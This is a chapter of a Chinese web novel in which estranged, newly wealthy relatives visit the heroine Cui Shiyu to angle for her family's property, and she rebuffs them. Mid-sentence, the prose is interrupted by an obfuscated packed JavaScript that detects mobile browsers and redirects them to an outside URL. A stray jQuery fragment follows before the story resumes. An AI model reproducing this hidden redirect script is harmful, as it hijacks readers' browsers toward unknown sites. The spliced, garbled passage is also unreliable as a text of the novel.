8. 奇葩亲戚
作品:《长安城美食录》 在崔时钰的记忆中,最后一次见到舅舅舅母——田二郎与殷氏,已是差不多十年前的事了。
那时田二郎尚未发际,携妻子殷氏前往幽州做生意。担心爹娘留给弟弟的那些家产不够,崔母将自己的大半嫁妆分给了弟弟,做生意成功与否并不要紧,只盼望他与弟媳能平安归来。
谁知后来,田二郎的确是发达了,却再也没有回来同阿姊见面,哪怕崔父崔母相继过世,也只是草草派了个小厮来前来吊唁。
崔时钰不知道他们此番来的目的是什么,只是感叹:……这两个人什么时候胖成这样了?
舅母殷氏穿一身袒胸窄袖的襦裙,领口处白皙且堆满赘肉的前胸敞露出来;头上梳着高耸的发髻,插了支水光油润的玉簪,越发衬得她面庞圆润、双下巴堆叠。
再去瞧舅舅田二郎,身着一件暗红明艳的宽大圆领袍衫,身形臃肿,特别是肚子高高隆起,仿佛怀胎数月,让他整个人瞧上去像一颗发福的胖苹果。
十年前田二郎与殷氏还是瘦瘦高高的两条人,并不长如今这副尊容。虽说本朝人以胖为美,但到这个程度……是不是有点夸张了?
崔时钰觉得自己能一眼认出这两个人着实是个奇迹。
十多年前发生变故时崔时锦只有两三岁,几乎对此无甚记忆,崔时宁更是尚未出生。
小姑娘从小到大没见过胖成这样的人,一时有些害怕,但还是紧紧攥着阿姊的手,站在她的前面。
她要保护阿姊!
与面前二人对视片刻,崔时钰正要开口,就听田二郎忽然嗷了一声,两行宽面条般的眼泪从他堆满肥肉的脸上落了下来。
田二郎此人,说得好听是实心眼直肠子,说不好听就是脑子不好使,虽然人人都这么说他,他却并未觉得有什么坏处:小时候有阿娘,长大有阿姊,成亲之后有娘子……反正从小到大都有人为他摆平难题,没什么可操心的。
当初在幽州之时,是妻子殷氏跑前跑后才将生意做得风生水起,按殷氏的话来说,他除了出了几个臭钱外几乎没起什么作用。
正因如此,田二郎格外听妻子的话,几乎对她唯命是从,殷氏让他往东,他绝不往西。
刚才叫这突如其来的肉香昏了脑子,他把先前在家演习好的唱词全都抛掷脑后了,被殷氏狠狠拧了把大腿上的肉才回过神来,一半是疼一半是演,眼泪一下子就出来了。
谁知话到临头,不知怎么,嘴边的“外甥女你近年可好”突然变成:“外甥女,我是舅舅啊,你可还认得我吗?你……你午食吃的是啥啊?”
田二郎早年家中困顿,没吃过什么好东西,中年暴富后发誓要补偿自己,带着殷氏与儿子田子恒报复性吃喝玩乐,这才养成如今这般不堪入目的体型——他儿子田子恒也同样如此。
田二郎自诩吃遍了长安城内的大小美食,哪知道竟在这间倒闭了的贩鱼铺子里被馋得口水直流。
实属罕见,实属罕见!
听了他问话的崔时钰:“……”
敢情多年未见的舅舅舅母,大老远来就是为了问她中午饭吃了什么?
一旁的殷氏见自家郎君实不顶用,气得直磨牙,又不好当场发作,不着痕迹把田二郎挤到一旁,自个面上挤出两滴眼泪,边用帕子拭泪边对崔时钰说:“外甥女,你近些年可还安好?听闻你前些日子不甚失足落水,我与你舅舅担心极了,便想着过来看看你。”
殷氏也算生得标致,尽管一朝发福,眉眼间依然能瞧出当年的影子,这一哭起来倒真有几分心酸可怜的意味,至少比田二郎看着赏心悦目。
其实殷氏并不清楚崔时钰到底是失足落水还是主动投河,只知道她确实是被人从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626273|172375||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
河里半死不活地捞了上来。
这时候的河水多冷啊,被淹了一遭定要落下病根,按她家这个条件,能撑得了几时?
虽说前几日她刚从庄子里收完租,大进一笔,尚且看不上夫家那死人姐姐攒下的嫁妆,还有这间破鱼铺子,但是……蚊子腿也是肉啊。
不要白不要。
到底是这么多年不曾来往,殷氏也知道自己这一趟来得有些突兀,但他们与崔家毕竟有血脉相连,崔家大娘已成了病秧子,二娘三娘年岁尚小需人照顾,把家产交到舅舅舅母手中,肯定比交到旁人那里来得更放心些。
只是……
殷氏借着抹泪的间隙悄悄瞥了一眼崔时钰。
谁能告诉她,这崔家大娘的面色为何如此红润有光泽?
莫非是回光返照?
崔时钰也在瞧她。
无事不登三宝殿,更何况是这种十多年没什么往来的白眼狼亲戚,田二和殷氏这一趟来的目的不是为钱就是为利,闭着眼睛都能猜到。
崔时钰上辈子见过太多奇葩的亲戚关系,此时面对这两个厚脸皮的人,倒也能泰然处之了。
她朝这两个不速之客微微一笑,作出一副恍然大悟状,“我当是谁,原来是舅舅舅母,多年未见,到叫我这个外甥女有些不敢认了,看来‘相由心生’这句话果真不错。坐啊,别客气——哦,我忘了,家里恐怕没有能供舅舅舅母坐下的地方,那舅舅舅母就站着吧。”
听完这番话,殷氏与田二郎双双目瞪口呆。
殷氏惊的是她的嘴皮子。
最后一次见面时,这崔大娘明明是打三闷棍都放不出一个屁来的沉闷性子,后来家中遭遇变故,更应该唯唯诺诺才是……怎得竟如此牙尖嘴利了!
田二郎惊的却是另一件事:他知道方才那阵肉香是从哪儿来的了!